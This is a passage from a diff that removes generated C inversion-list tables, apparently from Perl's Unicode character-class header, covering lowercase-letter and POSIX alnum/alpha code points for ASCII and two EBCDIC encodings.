0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7C, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE5, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA771, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA78F, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xA7FA, - 0xA7FB, - 0xAB30, - 0xAB5B, - 0xAB60, - 0xAB66, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D455, - 0x1D456, - 0x1D468, - 0x1D482, - 0x1D49C, - 0x1D4B6, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D4D0, - 0x1D4EA, - 0x1D504, - 0x1D51E, - 0x1D538, - 0x1D552, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, - 0x1D6A6, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6E2, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D71C, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D756, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D790, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CA, - 0x1D7CB, - 0x1D7CC, - 0x1E922, - 0x1E944 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LOWERCASELETTER_invlist[] = { /* for EBCDIC 037 */ - 1281, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x70, - 0x71, - 0x81, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9A, - 0x9C, - 0x9D, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xCB, - 0xD0, - 0xDB, - 0xE0, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BB, - 0x1BD, - 0x1C0, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x294, - 0x295, - 0x2B0, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37B, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x588, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D00, - 0x1D2C, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FE0, - 0x1FE8, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x210A, - 0x210B, - 0x210E, - 0x2110, - 0x2113, - 0x2114, - 0x212F, - 0x2130, - 0x2134, - 0x2135, - 0x2139, - 0x213A, - 0x213C, - 0x213E, - 0x2146, - 0x214A, - 0x214E, - 0x214F, - 0x2184, - 0x2185, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7C, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE5, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA771, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA78F, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xA7FA, - 0xA7FB, - 0xAB30, - 0xAB5B, - 0xAB60, - 0xAB66, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D455, - 0x1D456, - 0x1D468, - 0x1D482, - 0x1D49C, - 0x1D4B6, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D4D0, - 0x1D4EA, - 0x1D504, - 0x1D51E, - 0x1D538, - 0x1D552, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, - 0x1D6A6, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6E2, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D71C, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D756, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D790, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CA, - 0x1D7CB, - 0x1D7CC, - 0x1E922, - 0x1E944 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_POSIXALNUM_invlist[] = { /* for ASCII/Latin1 */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30, - 0x3A, - 0x41, - 0x5B, - 0x61, - 0x7B -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXALNUM_invlist[] = { /* for EBCDIC 1047 */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA2, - 0xAA, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xF0, - 0xFA -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXALNUM_invlist[] = { /* for EBCDIC 037 */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA2, - 0xAA, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xF0, - 0xFA -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_POSIXALPHA_invlist[] = { /* for ASCII/Latin1 */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0x61, - 0x7B -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXALPHA_invlist[] = { /* for EBCDIC 1047 */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA2, - 0xAA, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 